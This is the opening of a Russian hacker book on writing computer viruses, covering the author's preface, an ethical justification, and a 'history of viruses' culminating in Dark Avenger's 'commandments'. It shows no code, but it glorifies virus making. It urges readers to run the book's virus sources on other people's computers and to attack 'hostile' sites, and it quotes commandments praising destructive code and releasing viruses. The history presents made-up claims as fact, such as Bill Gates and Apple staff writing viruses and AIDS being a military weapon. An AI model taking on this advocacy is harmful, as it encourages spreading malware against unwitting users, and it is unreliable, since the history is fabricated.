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Пользуясь случаем, выражаю благодар-
ность моему коту Сашке и соседке Дашке за
помощь в написании книги. Посвящаю ее Об-
ществу защиты аквариумных рыбок.

От автора

В этом томе я учел критику моих коллег и издателей. Третья «Азбука»
будет содержать простой и понятный материал, который, тем не менее, поз-
волит вам продолжить изучение Ассемблера и ознакомит вас с азами вирус-
мейкерства. Вы не только научитесь понимать, писать и контролировать
компьютерные вирусы, но и откроете для себя часть мистических и духовных
аспектов хакерской культуры. Компьютерные вирусы — это мощное оружие
современных и будущих войн; это механизм контроля информационного
пространства; и, прежде всего, это первые опыты человечества по созданию
искусственной жизни. Надеюсь, что «Азбука хакера-3» освободит вас от мно-
гих нелепых предрассудков, которые намеренно внедряются в сознание
людей ради меркантильных и аморальных целей.

В этой книге я покажу вам светлое и темное знания хакерства. Мы с
вами ищем правду и боремся за свободный доступ к любой информации.
Поэтому я не собираюсь скрывать от вас «зло» или окрашивать его в розовые
тона. Вы сами должны выбрать, по какую сторону «забора» будет проходить
ваш путь. Вся ответственность за этот выбор ляжет только на вас. Но сначала
я предоставлю вам необходимые данные. Лично мне хотелось бы, чтобы из
вас получился Мастер — последователь искусства программирования, а не
еще один «печатный станок» клонированных вирусов. Поэтому, каким бы ни
был выбранный вами путь, я прошу вас об одном — оставайтесь творцом, а
не подельщиком.



Введение

Эта книга посвящена компьютерным вирусам. Она озна-
комит вас с техническими данными, которые должен знать
каждый хакер. Материал изложен простым языком и будет поня-
тен любому молодому человеку. Я знаю, что публикация такой ли-
тературы вызывает гнев и раздражение у многих людей — в
основном у тех, кто хочет контролировать потоки информации. Но
для хакеров не существует запретных тем в областях
компьютерных технологий.

Если ваши родители или близкие будут оказывать на вас
давление, отговаривая от увлечения вирусологией, предложите
им решить следующую моральную дилемму. Это так называемая
«этическая модель Колберга», которая показывает неоднознач-
ность и двусмысленность любой оценки тех или иных поступков
другого человека. Сценарий здесь таков...
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Одна женщина умирала от особого вида болезни. Имелось ле-
карстио, которое могло снасти ее — причем лекарство изготавливал
фармацевт, проживавший в том же городе. Лекарство было доро-
гим. Фармацевт просил 2000 долларов за небольшую дозу. Муж
больной женщины занял деньги у друзей и знакомых, но собрал
только половину суммы. Он пришел к фармацевту, рассказал ему
об умирающем! жене и обещал рассчитаться за лекарство в течение
года. Однако фармацевт был неумолим. Он ответил, что создавал
лекарство для своего обогащения. Он сказал, что хочет сделать на
нем капитал. И тогда муж больной женщины пришел в отчаяние.
Ночью он пробрался в аптеку и похитил лекарство для своей жены.
Простая история. Теперь нужно дать оценку, то есть решить мо-
ральную дилемму. Кто нрав? Кто не прав?

Когда вы получите ответ, задайте ряд дополнительных вопро-
сов:

1. Должен ли муж женщины понести наказание за кражу ле-
карства?

2. Прав ли был фармацевт, взвинтивший цену на снадобье?

3. Можно ли обвинить его в попытке намеренного убийства?

4. Каким было бы его наказание, если бы женщина умерла?

5. Каким было бы его наказание, если бы женщина была высо-
копоставленной персоной?

6. Что бы вы сделали, оказавшись па месте мужа этой женщи-
ны?

Вас могут спросить, причем здесь этика, когда речь идет о
«гадких» паразитах, портящих программы. Казалось бы, хороший
довод. Но чуть позже, прочитав историю компьютерных вирусов,
вы поймете, что модель Колберга прекрасно описывает нынешние
отношения между создателями вирусов и империей производите-
лей антивирусных программ. Лично я убежден, что компьютерные
вирусы не являются злом и что программисты имеют право созда-
вать их и производить над ними различные эксперименты. Но ос-
новной закон пашей цивилизации гласит: «Без страха и боли нет
прибыли!». Если бы не было страха перед вирусами, то не сущест-
вовало бы и индустрии антивирусных программ. На самом деле зло
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не в вирусах, а в людях, которые наделяют эти крохотные програм-
мы разрушительными качествами.

Конечно, среди вирусмейкеров имеются разные люди — доб-
рые и злые. Одних интересует знание, другие ставят на первое мес-
то материальное проявление их «воли» и «силы». Такие действия
воспринимаются обществом как незаконные. Распространителям
вирусов грозят тюремные сроки. Но само создание вирусов не явля-
ется преступлением.

Я написал эту книгу по трем причинам:

1. Возможно, она поможет вам противостоять самым «злоб-
ным» и разрушительным вирусам.

2. Вирусы являются одним из видов вооружения современ-
ных и будущих войн. Если вы решите защищать Отечество от тер-
рористических атак и промышленного саботажа стран западной ко-
алиции, то это можно делать не только в роли «пушечного мяса»
или, скажем, на строительстве генеральских дач, но и за обычным
компьютером, когда ваши программы будут наносить конкретные
удары по сайтам боевиков и компаний, враждебных для России.

3. Мне хотелось бы заинтересовать вас исследованиями по-
лезных технологий, которые позволили бы нам развивать искус-
ственную жизнь.

Давайте обсудим эти три позиции подробнее.

Защита против вирусов

Стандартными решениями для защиты от вирусов являются
покупка и установка антивирусного продукта, который, якобы, бу-
дет ловить за вас вирусов. Для среднего пользователя, который
оперирует лишь несколькими программами, это идеальный вари-
ант. Но и он время от времени будет встречаться с моментами, ког-
да ему не помогут никакие антивирусы.

В солидных компаниях, где используется множество компью-
теров, такие моменты встречаются чаще. Дело в том, что макси-
мальный урон (около 98%) наносят так называемые «новые» виру-
сы, неучтенные в списках антивирусных продуктов.

А в том месте, где сотни пользователей эксплуатируют сотни
компьютеров, верояность «человеческого фактора» в приобрете-
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нии вируса очень высока. И когда тот прорывается в локальную си-
стему, начинаются хаос, эпидемия и паника.

Прежде всего запомните, что некоторые вирусы не определя-
ются антивирусными программами. Во-вторых, всегда существует
временной промежуток между созданием вируса и разработкой
средств против него. В-третьих, даже если антивирусный пакет оп-
ределит наличие вируса в системе, он не всегда может удалить его
и тем более починить зараженные файлы. По правде говоря, анти-
вирусное «лечение» в большинстве случаев приводит к более худ-
шим последствиям, чем наличие вируса. Оно обычно предполагает
удаление ЕХЕ-файла или переименование его в VXE. На каком-то
этапе жизни каждый профессионал начинает понимать, что знание
о вирусах важнее любой антивирусной обороны. В наш техничес-
кий век вирус может привести не только к большим финансовым
затратам, но и к гибели людей. В такой ситуации не стоит полагать-
ся на третью сторону (например на доброго Айболита Касперско-
го). Вы должны сами справляться с подобными, угрозами, исполь-
зуя собственные знания и навыки.

Знание компьютерной вирусологии позволит вам оценить ка-
чество и возможности коммерческих антивирусных продуктов.
А нужно заметить, что их качество не очень высокое. Приобретя
технические навыки и необходимые инструменты, вы сможете из-.
бавляться от вирусов гораздо эффективнее, чем при использовании
любой антивирусной программы. Эта книга расскажет вам, что та-
кое вирус, как он работает, как пишется. Многие люди считают со-
здание вирусов черным искусством. Мы же будем рассматривать
вирусы как изящные компьютерные программы.

Военные разработки

Высокотехнологические войны полагаются исключительно
на компьютеры и информацию. Что бы мы ни говорили о ручном
оружии, робеду в современных "войнах обеспечивают шпионские
спутники и наземные станции, системы раннего предупреждения и
бомбоприцель!>- использующие глобальную систему позициониро-
вания. Разрушение этих компьютеров или введение дезинформа-
ции в поток их сообщений стали с некоторых пор главной частью
военной стратегии.

Хорошо известно, что вирусы могут быть очень разрушитель-
ными и что их можно распространять с минимальным риском. Во-
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енные организации давно относятся к вирусным атакам как к ре-
альной угрозе и разрабатывают оборону в этом направлении. В XX
веке у военных стало привычкой скрывать свои технологии от про-
стых людей. Только несколько человек знают всю правду о мощи
страны и о слабостях се обороны. Почему, например, информация о
вирусах не становится публичной? Потому что она имеет потенци-
ал для военного использования. Но у хакеров другое мнение. Мы
знаем, что любое правительство стремится к богоподобию.

Основной целью гражданских и военных бюрократов являет-
ся абсолютный контроль над населением своих и чужих стран. Рас-
пространенными методами для достижения этой цели являются
сбор данных о гражданах и запрет на любую важную информацию.
Настоящий хакер подчиняется только вечным законам Вселенной.
Все остальные законы писались «для своих ребят», в число кото-
рых мы вряд ли когда-нибудь войдем. Следовательно, изучение ви-
русов пригодится нам в любом случае.

Компьютерные исследования

Человечество породило «искусственный'интеллект». Его пер-
вые носители уже вызвали коммерческий интерес, и мы теперь
имеем целую индустрию антивирусных программ. Но здесь имеет-
ся и научный аспект. Компьютерные вирусы копируют поведение
простейших живых организмов. Некоторые примитивные организ-
мы только и делают, что преобразуют энергию солнца, живут и по-
рождают потомство. Они не разумны и можно спорить об их мета-
физическом аспекте души. Но они четко выполняют программу
своего вида.

Если мы попытаемся воссоздать такие организмы, то полу-
чится маленький робот, который будет кружиться в доступном про-
странстве, собирать материалы и создавать из них других малень-
ких роботов. Если же мы создадим такой организм вне физической
вселенной (например в электронном мире, существующем внутри
компьютера), то организм будет существовать, почти ничем не от-
личаясь от примитивной биологической жизни. Компьютерный
вирус выживает и размножается. Ему приходится обходить различ-
ные препятствия, выживать в суровой среде, которая стремится
«убить» его или сделать недееспособным. Как только создатель вы-
пускает его в интернетовскую Сеть, вирус остается один в элек-
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тронном мире и начинает выполнять программу вида — миссию
выживания и воспроизводства.

Вполне понятно, что зарождение органической жизни было
важной вехой в истории Земли. Никто не рассматривает жизнь как
что-то полезное для неодушевленного мира. Когда мы говорим об
атомах Вселенной, какая нам разница, будет ли в этом месте темпе-
ратура в двадцать градусов или в двадцать миллионов? Какая раз-
ница, будет ли земля покрыта километровым слоем льда или ра-
диоактивным пеплом? Однако, когда мы говорим об экологии, то
имеем в уме концепцию о необходимости сохранения и защиты
жизни. Живые организмы обычно используют неодушевленный
мир, не заботясь о нем. Маленькая инфузория спокойно собирает
необходимое питание и заражает воду. Человек спокойно уничто-
жает леса и горы, чтобы построить пару новых шкафов или танков,
которые позже сгорят в песках Ирака. Даже когда мы беспокоимся
о сокращении запасов нефти, нас не волнует неодушевленный мир.
Нами мотивируют эгоцентричные концепции.

В таком же потребительском аспекте мы рассматриваем и мир
компьютерных программ. Если в расчет идет только финансовый
критерий, то, естественно, вирусы будут страшным злом — они пор-
тят и уничтожают ценные программы. Но что отличает их от био-
логической жизни? Когда мох покрывает скалы, мы называем это
красивым ландшафтом. Почему же люди впадают в панику, когда
вирусы покрывают собой программы компьютерных систем?

В настоящее время наше общество состоит из людей, для ко-
торых важно только личное процветание. Карл Маркс говорил, что
мотивирующей силой каждого человека является его экономичес-
кое благополучие. По его мнению, вся наша история — это непре-
рывная классовая борьба за экономический контроль. В таком об-
ществе компьютеры стали ресурсом для получения, хранения и пе-
реработки информации. В мире капитала компьютерные вирусы
всегда будут считаться злом, потому что мы хотим, чтобы компью-
теры делали нас богаче, а не мудрее. Людям нужны деньги, а не ис-
тина, которая, по словам Сократа, дороже золота. Но, с другой сто-
роны, мы лучше поняли бы жизнь, если бы создали нечто по свое-
му подобию. И вирусы предоставляют нам такую возможность.

В свое время светская и церковная власти запрещали Галилею
смотреть в телескоп, потому что он после этого выдавал неудобные
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истины. То же самое происходит и сейчас. Если вирусмейкера пой-
мают с поличным, он получит тюремный срок. Никого не интересу-
ют научные аспекты создания вирусов или, точнее, создания жизни
в компьютере. А перед нами истинное чудо! И теперь понять бы, к
чему оно ведет! Ведь возможен целый новый мир с электронной
жизнью — тот аналог первых простейших одноклеточных существ,
которые положили начало жизни на Земле. А какими будут элек-
тронные эквиваленты цветка, дерева, женщины? Перед нами рас-
крываются возможности, сопоставимые с изумлением Галилея при
мысли, что человек когда-нибудь сможет ступить на грунт Луны
или Марса.

Основная концепция «искусственной жизни» заключается в
том, что компьютерная программа может воспроизводить себя и
передавать генетическую информацию своим потомкам. Целью ис-
следований в данной области науки является изучение жизни на
чисто математическом и информационном уровнях. Здесь нам све-
тят две выгоды:

1. углеродная жизнь очень сложна. С ней можно эксперимен-
тировать только самым рудиментарным образом. Искусственная
жизнь проще. Она открывает нам уникальные механизмы живых
организмов и позволяет исследовать их;

2. изучение искусственной жизни прояснит философские во-
просы о зарождении и эволюции углеродных организмов. Мы мо-
жем заменить химическую эволюцию простых микроорганизмов на
интеллектуальную модель электронных существ. Интересно отме-
тить, что когда люди начали творить искусственную жизнь, это ни-
как не взволновало философов и религиозных деятелей.

Пока компьютерные вирусы остаются единственной формой
искусственной жизни, но они не теряют от этого своей научной
ценности для человеческой культуры. Нынешние создатели виру-
сов стоят на берегу огромного океана, по которому еще не проплыл
ни один корабль. На кончиках их пальцев неизвестное. Мы можем
лишь гадать, что находится за гребнями волн, за горизонтом, и что
произойдет, когда мы доберемся до другой стороны электронного
мира.

Я предлагаю вам построить маленький плот и отправиться в
дальнее плаванье, открывая по пути неведомые земли и негаданные
знания.
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Мемы

90% людей не получают никаких неприятностей от вирусов,
живущих в их компьютерах. Но они стремятся избавиться от этих
маленьких программ, потому что верят в тезис: ВИРУС • ПЛО-
ХОЙ. Коммерческое развитие антивирусных компаний сопровож-
дается активной пропагандой вредоносности компьютерных виру-
сов. Средства масс-медиа внушают пользователям, что каждый ви-
рус способен разрушить сотни часов работы невинных и несчаст-
ных тружеников, превратить тысячи компьютеров в груду беспо-
лезного железа, испортить все ваши CD-ROMbi и мониторы, от-
форматировать любые защищенные диски и даже заразить пользо-
вателя, если тот по своей наивности не приобрел спасительного ан-
тивируса.

Все это полная чушь. Один из моих знакомых написал безо-
бидный вирус X-Fungus. Парню было 15 лет, и он решил сообщить
миру о своих кумирах в мире музыке. Вирус выдавал на экран со-
общение — имя помершего от перепоя -барабанщика группы «Лед
Зеппелин» и дату этого печального события: John Bonham —
September 20, 1980 - L E D Z E P P E L I N . Одна из газет отреаги-
ровала на появление вируса следующим образом: «Компьютерный
вандал оставляет смертельную визитную карточку». Это заголовок.
Дальше отрывок из текста: «Вирус распространился с огромной
скоростью и нанес колоссальный ущерб компаниям и фирмам.
Лишь благодаря экстренному вмешательству ведущих антивирус-
ных компаний им удалось избежать потери ценных данных...». Од-
нако в том вирусе не было кода разрушения. Какой ущерб могла на-
нести дурацкая строка на экране монитора?

Истерический страх перед вирусами породил появление
«пустышек» — несуществующих вирусов. В 1994 году в Интерне-
те начало циркулировать электронное письмо следующего содер-
жания:

«Важная информация. Берегитесь файла с названием
«Goodtimes». Счастливой вам Хануки и будьте осторожны. Вирус
нацелен на America Online. Распространяется через электронную
почту. Если вы получили «Good Times», не читайте письмо и не
скачивайте его на свой компьютер. Этот вирус может удалить все
данные с вашего жесткого диска. Предупредите своих друзей.
Этим вы можете оказать им большую помощь».
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Несмотря на сообщения многих антивирусных компаний,
миф о «Good Times» живет и в наши дни. Текст с первоначальным
сообщением переписывался сотни раз, и теперь имеются варианты
этого сообщения: например, что «вирус вводит процессор в беско-
нечную бинарную петлю». Нечто похожее повторяет «пустышка»
PenPal. Вам советуют удалять все сообщения с темой «PenPal
Greetings», потому что если вы, якобы, прочитаете одно из них, ви-
рус «Троянской конь» уничтожит данные на вашем жестком диске.

Почему такие «пустышки» настолько живучи? Вот одно из
объяснений: они являются текстуальной коммуникацией идей.
Идеи распространяются через популяцию людей. Возросшая связь,
привнесенная Интернетом и электронной почтой, сделала это рас-
пространение широким и быстрым. Изучив способы, с помощью
которых некоторые идеи распространяются, а другие — исчезают,
исследователи объявили о существовании так называемых «мем».
Мема — это саморазмножающийся фрагмент информации, кото-
рый распространяется через умы людей, взаимодействует с их ра-
зумом, адаптируется, мутирует и сопротивляется уничтожению.
Другими словами, мема — это вирус ума.

Теория мемов, развитая Ричардом Дэвкинсом, заинтересова-
ла ученых, которые занимаются эволюционной биологией, антро-
пологией и лингвистикой. И некоторые из них указали, что мемы
являются не-биологическими существами, которые живут по зако-
нам «естественного отбора». Так как мы служим их средой распро-
странения, самые эффективные из них используют такие аспекты
нашей жизни, как секс, опасность, выгоду, любовь и страх. Наличие
мем в идее как бы нажимает «эволюционную кнопку», заставляя
нас обращать внимание на мему и сообщение в ней. Примерами
мем могут служить концепции «верность», «преданность», «скеп-
тицизм» и «терпимость». Мемами компьютерных вирусов стали
«страх» и «опасность».

Современные исследователи пытаются создать «хорошие»
вирусы. Они хотят переломить устоявшийся предрассудок людей.
Так, например, вирус Cruncher сжимает ехе-файлы и тем самым со-
храняет дисковое пространство. Вирус Potassium Hydroxide кодиру-
ет диски сильным алгоритмом, так что в систему может войти толь-
ко тот, кто знает пароль, введенный при инсталляции вируса. Если
бы юные вирусмейкеры знали бы об этой стороне проблемы, на све-
те было бы меньше зловредных компьютерных программ.
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В любом случае информацию о вирусах скрывать нельзя. Ни
одна нация не станет великой, если правители выкалят своему на-
роду глаза. Так что давайте отбросим глупые предрассудки в сторо-
ну и изучим этот удивительный и увлекательный мир искусствен-
ных живых существ.

Организация этой книги

«Азбука хакера-3» разбита на два тома и три части. В первой
части мы обсудим приемы вирусной репликации в диапазоне от
простых переписывающих вирусов до сложных многоцелевых
инфекторов.

Вторая часть посвящена борьбе против антивирусных
программ. Она включает в себя простые техники для сокрытия
изменений в файлах и такие сложные приемы, как поли-
морфизм.

Третья часть описывает способы расплаты — как полезные,
так и разрушительные. Во всех частях даются исходные коды.
Я советую вам сначала понять, что они делают, и только
затем ассемблировать и выполнять их на своих или чужих
компьютерах.

Вирус похож на ружье (в чеховском спектакле). Правда, он
«стреляет» не в конце спектакля. Он может «выстрелить» в любое
время. Моей целью является не умножение числа «безбашенных
пачкунов», которые засоряют Сеть своими проделками, а обучение
вас правильному стилю вирусмейкерства. Знание дает нам силу, но
вместе с ней приходит и ответственность. Ответственное исполь-
зование силы дает нам мудрость. Иначе возникает ламерство.

То есть вы уже понимаете, что вирусмейкерство — это
своего рода Дао, то бишь Путь. Короче, let's Go!
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Краткая история вирусов

Я прочитал десятки книг по компьютерным вирусам, и почти
в каждой из них история вирусов подавалась примерно так:

«...Вирусные программы имеют длинную и славную историю. Пер-

вый вирус появился в начале 60-х годов XX века, как эксперимент по ди-

зайну операционной системы, но математические теории самовоспро-

изводящегося автомата существовали задолго до этого... В период 60—

70-х годов было проведено несколько экспериментов по созданию ком-

пьютерных вирусов, однако первые научные работы, посвященные ас-

пектам вирусов и проблеме защиты от них, появились лишь в 1984 году

(F. Cohen, «Computer Viruses — Theory and Experiments»). С тех пор пуб-

ликации, посвященные вирусам, множились пропорционально росту ви-

русных программ. В 70-х годах червь Xerox продемонстрировал способ-

ность распространения через сеть. В 1986 году на конкурсах програм-

мистов была введена игра Core wars. Она породила несколько исследо-

ваний алгоритмов вирусных программ и вызвала прогресс в изучении

«искусственного интеллекта». В 1995 году появились макровирусы. В на-

ше время ежедневно появляются сотни «новых» вирусов, 98% которых

являются клонами старых версий...» ИТ.Д.И т. п.

Я расскажу вам другую историю.

Поначалу вирусы не считались чем-то плохим и ужасным. Их
называли иначе — «сорняками» или «травой». К примеру, на древ-
них компьютерах имелась инструкция, которая могла копировать
саму себя в следующую локацию памяти и затем переходить к этой
локации. Если такую инструкцию выполняли в начале памяти, все
пространство могло быть «заполнено» одним известным значени-
ем. Чем вам не вирус? Термин «вирус» появился в связи с функци-
ей APL для вызова сопроцессора и вошел в обиход наряду с други-
ми шутливыми названиями. Проводились многочисленные иссле-
дования, но никто не рассматривал их в целом. Программисты на-
зывали самовоспроизводящиеся программы по-разному — кто как
хотел. Затем Фред Кохен обобщил и суммировал это поле знаний.
Его аналитические труды легализовали и, можно сказать, увекове-
чили термин «вирус». Позже он понял, что название оказалось жут-
ко неудачным. Фактически, оно создавало у людей неправильное
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мнение об этих компьютерных программах и формировало отрица-
тельное отношение к ним. Кохен предлагал изменить название на
«живые программы» или «самовоспроизводящийся автомат». Но
было уже поздно. Термин «вирус» обзавелся мемой «опасность», и
Кохен уже ничего не мог изменить.

Название быстро прижилось и вошло в сознание людей.
Таком образом, все вышло по Библии: «вначале было Слово».

Следующей ключевой фигурой стал наш «любимый» Билл
Гейтс (аналог Адама в Райском саду, который с радостью схрумкал
Евино яблочко, а ей предоставил мучиться при родах и мыть для
него посуду).

Вплоть до 1986 года компьютерные вирусы представляли со-
бой безобидные приколы программистов. Уже тогда имелось не-
сколько разработок с разрушительными
кодами и вредоносными последствия-
ми, но это считалось дурным тоном и ча-
ще всего было плодом ошибок. Затем
компьютерными вирусами занялись во-
енные. Осенью 1987 года один из амери-
канских университетов, выполнявший
заказ военных ведомств, создал вирус,
который инфицировал диск с операционной системой и мог пере-
ходить на другие диски, где копировал себя, а после четырех поко-
лений разрушал файловые системы всех доступных дисков. Этот
вирус был засекречен, но Билл Гейтс (да не будет его имя помянуто
к ночи) добыл его. В ту пору он вел конкурентную борьбу с Apple
Macintosh. Его программисты модифицировали «военный» вирус и
создали «Scores», который стал бичом для компьютеров Apple. По-
чувствовав вкус победы, Гейтс и его команда создали вирус
MacMag, который заражал инициализационные файлы Apple
Macintosh.

Так-то вот! Все земные беды происходят либо от вояк, либо от
коммерсантов. А чему вы удивляетесь? Вы не знали, что героин
был разработан в лабораториях фирмы «Байер» еще до Первой ми-
ровой войны и поначалу продавался вместе с аспирином и рекла-
мировался как отличное средство от простуды? Не удивлюсь, если
окажется, что и СПИД был разработан где-то в военных лаборато-
риях в качестве определенного рода генетического оружия.
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А

Грубая атака Гейтса и его подельников (назвать их «сотрудни-
ками» как-то язык не поворачивается) вызвала ответную реакцию
«яблочников». Специалисты Apple (которые в общем-то тоже не
лаптем щи хлебали) создали вирус Christmas card (Рождественская
открытка), который в декабре 1987 года заразил свыше полумилли-

она компьютеров фирмы IBM. В 1988 году ви-
рус Интернет остановил работу 60000 серве-
ров. В 1988—89 годах вирусы Datacrime и Vienna

]'•• пронеслись по Европе, как смерч, уничтожая
данные государственных организаций и учреж-

! ^ U ^ . / дений. И тогда силы ада породили чудовище в
^у человеческом облике. На планете Земля по-

явился великий визард Dark Avenger (Темный
мститель).

Случилось это так. Вирус Vienna добрался до Болгарии. В ту
пору компьютерные вирусы были новинкой. Мысль о том, что мож-
но создать программу, которая напоминала бы живое существо
(могло размножаться и перемещаться из компьютера в компьютер
против воли пользователя), приводила многих программистов в со-
стояние эйфории. Некто V. В., софийский программист, раздобыл
исходный код «Vienna» и создал несколько клонов, уменьшив пер-
воначальную длину вируса с 648 байтов до 348. На базе получен-
ных знаний он создал вирусы Cascade и Ping Pong. Именно он напи-
сал один из первых вирусов Old Yankee, заражавших ехе-файлы.
Исследованиями V. В. заинтересовались двое его приятелей. Пер-
вый, некто Т. Р. (если продолжать библейские сравнения, то он
больше всего смахивает на Иоанна Крестителя, который возвестил
о приходе Спасителя), написал около 50 вирусов и разработал об-
ходные пути для использования прерываний Intl3h и Int21h. Вто-
рым был Dark Avenger. Позже, поссорившись с Dark Avengera** (no
слухам, из черной зависти к славе друга), Т. Р. сменил свой славный
ник на Vacsina и создал превосходную программу, защищавшую от
вирусов (прямо Иуда какой-то...). До сих пор в его честь два инст-
румента многих антивирусных программ называются «вакциной»
и «карантином».

Весной 1989 года в Болгарии появился невероятно заразный
вирус. В его коде имелась строка: «Эта программа написана в горо-
де София (С) 1988—1989 Dark Avenger». Как видите, все было по-
честному, даже копирайт поставлен. Именно он, великий визард
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всех времен (а тогда его называли доморощенным шизиком), при-
думал, как заражать файлы при открытии. Сейчас такой вид виру-
сов называют «быстрыми инфекторами».

И вот вирусы Dark Avengera начали свое победное шествие по
всему цивилизованному миру. Они были жутко разрушительными.
К примеру, вирус Eddie (известный как Dark Avenger) по 16-м чис-
лам каждого месяца переписывал один из секторов на диске и раз-
рушал все файлы, находившиеся там. Содержание переписанного
сектора включало в себя первые 512 байтов тела вируса и содержа-
ло сообщение «Эдди живет... где-то во времени!». Это был TSR-na-
разит, заражавший com- и ехе-файлы при их открытии, выполне-
нии, изменении атрибутов, перемещении и закрытии. Он использо-
вал прерывание Int21h (DOS) и удерживал его, если совершались
попытки изменения вектора (я не встречал больше ни одного виру-
са, который мог бы делать что-то подобное).

Ущерб наносился больший, чем при полном форматировании
диска. Когда пользователь обнаруживал инфекцию, она поражала
все доступные резервные копии.

Затем Dark Avenger перешел на более сложные темы, создав
такие вирусы, как V1024, V2000 (два варианта), V2100 (два вариан-
та), 651, Diamond (два варианта), Nomenklatura, 512 (шесть вариан-
тов), 800, 1226, Proud, Evil, Phoenix, Leech и Number of the Beast. Ком-
пании, занимавшиеся разработкой антивирусных программ, объя-
вили ему войну — причем сделали это с большой помпой в газетах
и по телевидению. В ответ Dark Avenger написал хитрейший троян
Uscan и под ником Vesselin Bontchev предложил использовать эту
программу как универсальный сканер для всех существовавших
тогда вирусов. На самом деле программа инфицировала все отска-
нированные файлы вирусом Anthrax.

Последний имел огромный потенциал, так как был одним из
первых многоцелевых вирусов (инфицировал com, exe и таблицы
разделов). Его единственным недостатком было то, что вместо за-
ражения выполняемой программы он искал на жестком диске са-
мую младшую директорию и инфицировал ее программы (то есть,
процесс заражения шел снизу-вверх). Процесс при этом замедлял-
ся и становился очевидным даже для тупоголовых спецов антиви-
русных фирм (хакеры называют их авирами). Это вывело авиров из
себя. Мировое компьютерное сообщество назвало Dark Avengera
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«технопатом». На вопросы о своей необъяснимой страсти к разру-
шению он отвечал, что уничтожение данных приносит ему удо-
вольствие.

По законам Болгарии он не считался преступником. К нему
съезжались почитатели со всего мира. Многие из них становились
его учениками. Фактически, Dark Avenger был темным гуру, кото-
рый обучал не только вирусмейкерству, но и компьютерной рели-
гии Сети. Позже я расскажу вам о ее канонах.

Ученики Dark Avenger создали клан вирусмейкеров. Двое из
них, Людо и Ян, создали уникальный вирус Murphy, которым они
заразили компьютеры своего университета. Их якобы обидели с
премиальными, и они таким образом отомстили руководству лабо-
ратории.

А вирус был очень непростым. Он инфицировал com и ехе-
файлы, прикрепляясь к ним и сохраняя полную функциональность
зараженных файлов. Вирус становился резидентом памяти, скры-
вал увеличение длины, когда пользователь применял команду Dir,
и это был первый мутирующий вирус!

Другой ученик Темного Мстителя, некий P. D., создал два
жутких вируса Anti-Pascal605 и Terror. Ученики из Варны ответили
адским пакетом из вирусов MG (5 вариантов), Shake (5 вариантов),
DIR и DIRII. Это были резиденты памяти, которые инфицировали
файлы, когда выполнялась команда DIR.

Ученик W. Т. создал вирусы WWT (2 варианта) и Darth Vader
(4 варианта). Ученик М. Н. создал три вируса для загрузочного сек-
тора (самый известный Boothorse). Кроме того, группа Dark
Avenger (позже известная как « Virus eXchange») создала такие изве-
стные вирусы, как Micro-128, V123, Mutant, V127, V270x, Boys,
Warner, Warrior, Dream, Kamikaze, Rat, Vfsi (Happy Day), Destructor,
Parity, Tony, Etc, 1963 и Justice.

Один из лучших учеников Темного Мстителя, некто Cracker
Jack, организовал в Италии собственную группу, и на исходном ко-
де Murphy его парни создали вирусы Hiv, Migram, Kamasya,
Cemetery Antichrist и Enigma. Другой ученик основал подобную
группу в Польше. Их детищами стали -вирусы хю13, 583, Father
Christmas, Joker, Hybrid, Akuku, Vcomm. Сходная группа появилась и
в Венгрии. Ребята создали Stone '90, Filler, Monxla, Polimer, Turbo
Kukas. Чехословакская группа ответила вирусом Aantivirus. Юго-
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славская — 17Y4, SVIR. Румынская — W13 и клонами Dark Avenger
и StONED.

Влияние визарда расходилось кругами. Группы вирусмейке-
ров создавались сначала в странах, соседствующих с Болгарией, за-
тем они появились в Германии, Швеции, Англии, СССР, потом в
США, Мексике, Израиле и Австралии, далее — в Японии, Китае и
даже Монголии. Темному Мстителю подражают до сих пор. Возь-
мите любой тьютор (сетевой учебник) по вирусмейкерству и пер-
вое, что вы увидите, будет благодарность каким-нибудь группам хэ-
ви-металл за помощь в работе над текстом. Типа: «Выражаю благо-
дарность Faith No More, Nirvana, Metallica, Led Zeppelin, Red Hot
Chili Peppers, Jimi Hendrix и Public Enemy за помощь в написании
этой статьи». Знаете, почему это делается? Потому что так писал
Dark Avenger. Я тоже не стал нарушать традицию, хотя и поступил
немного по-своему (обычное эгоцентричное желание «выпятить-
ся», хе-хе).

В 1990 году в России было создано 35 вирусов. Сейчас наша
страна занимает в этой сфере первое место (8—10 тысяч вирусов).
На втором месте идет Израиль — 4096 вирусов на 1 ноября 2004 го-
да. На данный момент никто не знает, как сложилась дальнейшая
судьба Dark Avengera. Он исчез так же внезапно, как и появился.
Возможно, уехав в Америку, он работает в секретных лабораториях.
Или умер. А может уехал на Тибет к ламам бон-по. Вполне вероят-
но, что мы никогда не услышим продолжения того удивительного
мифа, который он создал из своей жизни. В память о нем остались
лишь несколько руководств по вирусмейкерству и его знаменитый
«Черный гримуар о духовных прозрениях и религии Сети».

Подражание этому гримуару можно найти в многочисленных
текстах и тьюторах вирусмейкеров. Наверняка вы встречали вари-
анты его «Десяти заповедей»:

1. Пиши свой собственный код, ибо нет Искусства в копиро-
вании. Учись у других, но будь оригинальным.*

2. Не забывай о разрушительном коде, ибо в нашем мире
уважают лишь тех, кто имеет оружие.

3. Не программируй переписывающие коды, оставь сие со-
сункам и займись стоящим делом.

4. Помни о том, что программирование вирусов — это высо-
кое Искусство, и оно должно оставаться таким.
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5. Не отказывайся от творчества даже в угоду деньгам, ибо
глупо писать бесполезные коды.

6. Вирусы — наши дети. Когда ты создал и вырастил их,
отпусти своих деток в мир как дар своего мастерства для усла-
ды других творцов и в назидание невежественным пользовате-
лям.

7. Не выдавай секретов братства подлым слугам империи
Авиров.

8. Сражайся за свои права. Сеть дала людям право на сво-
бодный доступ к любой информации. Не позволяй лишать себя и
других этого бесценного дара. Используй Искусство и свои навы-
ки против захватчиков свободы и информации.

9. Поощряй стремление к Искусству у других людей и обу-
чай любого, кто стремится к истинному знанию.

10. Продолжай исследовать и развивать Искусство до конца
своей жизни.

Сейчас эти заповеди часто подаются в таком виде:

1. Не создавай переписывающие вирусы.

2. Не воруй готовые вирусы и не меняй копирайты.

3. Не распространяй «сырые» коды.

4. Не пересылай исходные коды антивирусным компаниям.

5. Не хвались своими вирусами.

6. Не распространяй свои вирусы среди друзей.

7. Не инфицируй свою машину.

8. Пиши вирусы только в Ассемблере.

9. Не вставляй в вирусы «тупые» сообщения.

10 Не выставляйся в Сети как создатель вирусов. Отло-
вят — пожалеешь!

К сожалению, гримуар и тьюторы Dark Avengera были напи-
саны на болгарском языке. Кое-что ученики перевели на англий-'
ский, но гримуар сохранился только на болгарском и итальянском
языках. Из 150 страниц его мистического трактата о Сети на анг-
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лийский переведено не больше десятка. Тем не менее, я надеюсь,
что вы поняли, какое влияние на развитие культуры и науки оказы-
вают хакеры-визарды. Их немного, но действия каждого великого
